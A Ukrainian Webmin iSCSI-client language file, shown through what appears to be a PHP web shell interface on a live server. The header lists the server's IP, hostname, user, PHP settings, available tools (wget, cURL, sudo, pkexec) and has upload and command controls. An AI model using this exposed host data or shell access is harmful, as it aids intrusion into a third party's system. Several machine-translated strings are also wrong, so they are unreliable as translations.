Private
Server IP : 195.201.23.43  /  Your IP : 3.15.164.218
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/iscsi-client/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/iscsi-client/lang/uk.auto
index_title=Клієнт iSCSI
index_clink=Можливо, він не встановлений, або ваша <a href='$1'>конфігурація модуля</a> неправильна.
index_return=індекс модуля
index_atboot=Почати з завантаження?
index_atbootdesc=Змініть цю опцію, щоб контролювати, запускається клієнт iSCSI під час завантаження чи ні. Це потрібно, щоб файлові системи, змонтовані з серверів iSCSI, могли бути автоматично змонтовані.

check_econfig=Файла конфігурації клієнта iSCSI $1 у вашій системі не знайдено.
check_eiscsiadm=Програму адміністрування клієнтів iSCSI $1 у вашій системі не знайдено.

auth_title=Параметри аутентифікації
auth_header=аутентифікація клієнта та сервера iSCSI
auth_name=Ім'я ініціатора локальної системи
auth_newname=Створіть нове випадкове ім’я
auth_method=Метод аутентифікації
auth_method_none=Не підтверджуйте автентифікацію
auth_userpass=Вхід на сервер
auth_userpass_def=Не потрібно
auth_userpass_user=Ім'я користувача
auth_userpass_pass=і пароль
auth_userpass_in=Вхід до клієнта
auth_dmethod=Метод аутентифікації відкриття
auth_duserpass=Логін на відкриття на сервер
auth_duserpass_in=Логін на відкриття для клієнта
auth_err=Не вдалося зберегти параметри аутентифікації
auth_eusername=Відсутнє ім'я користувача для сервера
auth_epassword=Відсутній пароль для сервера
auth_eusername_in=Відсутнє ім’я користувача для клієнта
auth_epassword_in=Відсутній пароль для клієнта
auth_edusername=Відсутнє ім'я користувача для відкриття для сервера
auth_edpassword=Відсутній пароль відкриття для сервера
auth_edusername_in=Відсутнє ім’я користувача для відкриття для клієнта
auth_edpassword_in=Відсутній пароль для відкриття для клієнта
auth_egen=Не вдалося створити нове ім’я!

timeout_title=Часи очікування iSCSI
timeout_header=Параметри таймауту клієнта iSCSI
timeout_timeout=Час зачекати перед тим, як не виконати команди SCSI
timeout_immediate=Збій негайно
timeout_forever=Зачекайте вічно
timeout_wait=Зачекай на
timeout_secs=секунд
timeout_login_timeout=Час чекати на вхід
timeout_logout_timeout=Час чекати виходу
timeout_noop_out_interval=Час почекати, перш ніж пінг
timeout_noop_out_timeout=Час чекати пінг, перш ніж вийти з ладу
timeout_abort_timeout=Час чекати відповіді на переривання вагітності, перш ніж провалитись
timeout_lu_reset_timeout=Час чекати відповіді логічної одиниці, перш ніж вийти з ладу
timeout_tgt_reset_timeout=Час зачекати на цільову відповідь, перш ніж провалитися
timeout_err=Не вдалося зберегти тайм-аути
timeout_etimeout=Відсутній або нечисловий час очікування перед тим, як не виконати команди SCSI
timeout_elogin_timeout=Відсутній або нечисловий час очікування входу
timeout_elogout_timeout=Відсутній або нечисловий час для очікування виходу
timeout_enoop_out_interval=Відсутній або нечисловий час, щоб чекати, перш ніж пінг
timeout_enoop_out_timeout=Відсутній або нечисловий час, щоб чекати пінг, перш ніж вийти з ладу
timeout_eabort_timeout=Відсутній або нечисловий час, щоб дочекатися перерви у відповідь перед тим, як не вдатися
timeout_elu_reset_timeout=Відсутній або нечисловий час, щоб чекати відповіді логічної одиниці, перш ніж вийти з ладу
timeout_etgt_reset_timeout=Відсутній або нечисловий час, щоб дочекатися цільової відповіді, перш ніж вийти з ладу

iscsi_title=Параметри iSCSI
iscsi_header=Інші параметри iSCSI
iscsi_startup=Підключити сеанси під час завантаження?
iscsi_retry=Кількість разів, щоб повторно спробувати увійти
iscsi_cmds=Максимальна кількість команд, що стоять у черзі за сеанс
iscsi_queue=Максимальна кількість команд у черзі на пристрій
iscsi_err=Не вдалося зберегти параметри iSCSI
iscsi_eretry=Відсутність або нечислове число разів, щоб повторно спробувати увійти
iscsi_ecmds=Пропущені чи нечислові максимальні команди в черзі за сеанс
iscsi_equeue=Пропущені чи нечислові максимальні команди в черзі на кожен пристрій

ifaces_title=Інтерфейси iSCSI
ifaces_elist=Не вдалося перерахувати інтерфейси : $1 
ifaces_name=Назва інтерфейсу
ifaces_transport=Транспорт
ifaces_uses=Використаний
ifaces_none=Наразі жоден інтерфейс iSCSI не активний.
ifaces_return=список інтерфейсів
ifaces_header=Додати інтерфейс iSCSI
ifaces_delete=Видаліть вибрані інтерфейси
ifaces_on=Націліть $1 на $2 
ifaces_nouses=Немає з'єднань
ifaces_ipaddress=IP-адреса джерела
ifaces_hwaddress=MAC-адреса
ifaces_ifacename=Інтерфейс джерела
ifaces_ipaddressdef=Автоматичний
ifaces_notset=Автоматичний

iadd_err=Не вдалося додати інтерфейс
iadd_eclash=Інтерфейс з іменем $1 вже існує
iadd_eipaddress=Відсутня або недійсна IP-адреса джерела
iadd_ehwaddress=Відсутня або недійсна MAC-адреса
iadd_ename=Ім'я інтерфейсу відсутнє або містить недійсні символи

difaces_err=Не вдалося видалити інтерфейси
difaces_enone=Не вибрано жодного
difaces_edelete=Видалення інтерфейсу $1 не вдалося : $2 
difaces_title=Видаліть інтерфейси iSCSI
difaces_rusure=Ви впевнені, що хочете видалити обрані інтерфейси $1 ?
difaces_rusure1=Ви впевнені, що хочете видалити інтерфейс $1 ?
difaces_confirm=Видалити інтерфейси
difaces_target=iSCSI ціль
difaces_ip=iSCSI-сервер
difaces_users=Деякі з'єднання, що використовують ці інтерфейси, наразі активні, і вони не спрацюють, коли інтерфейси видалені :

conns_title=Підключення iSCSI
conns_elist=Не вдалося перерахувати з'єднання : $1 
conns_ip=IP сервера
conns_sport=Порт сервера
conns_name=Ім'я сервера
conns_target=Назва цілі
conns_device=Локальний пристрій
conns_username=Ім'я користувача
conns_nouser=Жоден
conns_nodevice=Жодна карта
conns_delete=Відключити вибране
conns_none=Наразі жодні iSCSI-з'єднання не активні.
conns_header=Додати з'єднання iSCSI
conns_host=ім'я хоста або IP-адресу сервера iSCSI
conns_port=порт сервера iSCSI
conns_start=Підключіть ..
conns_return=список підключень
conns_iface=інтерфейс iSCSI
conns_ifacedef=Вибирайте автоматично
conns_ifaceerr=Не вдалося отримати інтерфейси : $1 

add_title=Додати з'єднання iSCSI
add_err=Не вдалося додати з'єднання iSCSI
add_ehost=Відсутнє або нерозв’язане ім'я хоста
add_eport=Відсутній або нечисловий порт
add_etargets=Жодні цілі iSCSI не вдалося отримати з $1:$2 
add_etargets2=Не знайдено жодних цілей iSCSI на $1 
add_target=Підключення до цілі
add_alltargets=Усі цілі
add_ok=Додати з'єднання
add_etarget=Не знайдено жодної цілі $1 
add_dev=Підключено як $1 
add_used=Уже підключено
add_on=$1 на $2 
add_auth=Вхід на сервер
add_auth1=Використовуйте метод аутентифікації за замовчуванням
add_auth0=Увійдіть як $2 з паролем $3 методом $1 

dconns_err=Не вдалося відключити з'єднання
dconns_enone=Не вибрано жодного
dconns_edelete=Видалення цілі $2 з хоста $1 не вдалося : $3 
dconns_title=Відключіть підключення iSCSI
dconns_rusure=Ви впевнені, що хочете видалити вибрані $1 з'єднання?
dconns_rusure1=Ви впевнені, що хочете видалити з’єднання на $1 ?
dconns_rusure2=Ви впевнені, що хочете видалити з’єднання до $1 для пристрою $2 ?
dconns_users=Деякі розділи з цих з'єднань зараз використовуються, і вони не спрацюють, коли з'єднання видалено :
dconns_part=Перегородка
dconns_use=Використаний
dconns_size=Розмір перегородки
dconns_confirm=Видаліть з'єднання
dconns_unused=Невикористаний

vconn_title=Підключення iSCSI
vconn_egone=Вибране з'єднання більше не існує!
vconn_header=Деталі з'єднання iSCSI
vconn_proto=Мережевий протокол
vconn_init=Назва місцевого ініціатора
vconn_connection=Стан з'єднання
vconn_session=Сесійний стан
vconn_username=Увійти за допомогою імені користувача
vconn_password=Увійшли з паролем
vconn_username_in=Ім'я користувача
vconn_password_in=Пароль клієнта
vconn_none=Ніякого не потрібно
vconn_device=Файл локального пристрою
vconn_device2=Назва локального пристрою
vconn_device3=Постійна назва пристрою
vconn_delete=Відключіть з'єднання
vconn_users=Поточні користувачі
vconn_size=Розмір диска

atboot_err=Помилка включення під час завантаження
atboot_einit=Жодної дії з назвою $1 не існує

log_auth=Збережені параметри аутентифікації
log_timeout=Збережені параметри очікування
log_iscsi=Збережені параметри iSCSI
log_add_connection=Додано підключення до $1 для $2 
log_delete_connection=Видалено з'єднання до $1 для $2 
log_delete_connections=Видалено $1 з'єднання
log_atboot=Увімкнено клієнт iSCSI під час завантаження
log_delboot=Відключений клієнт iSCSI під час завантаження
log_add_iface=Додано інтерфейс $1 
log_delete_iface=Видалений інтерфейс $1 
log_delete_ifaces=Видалено інтерфейси $1 
Private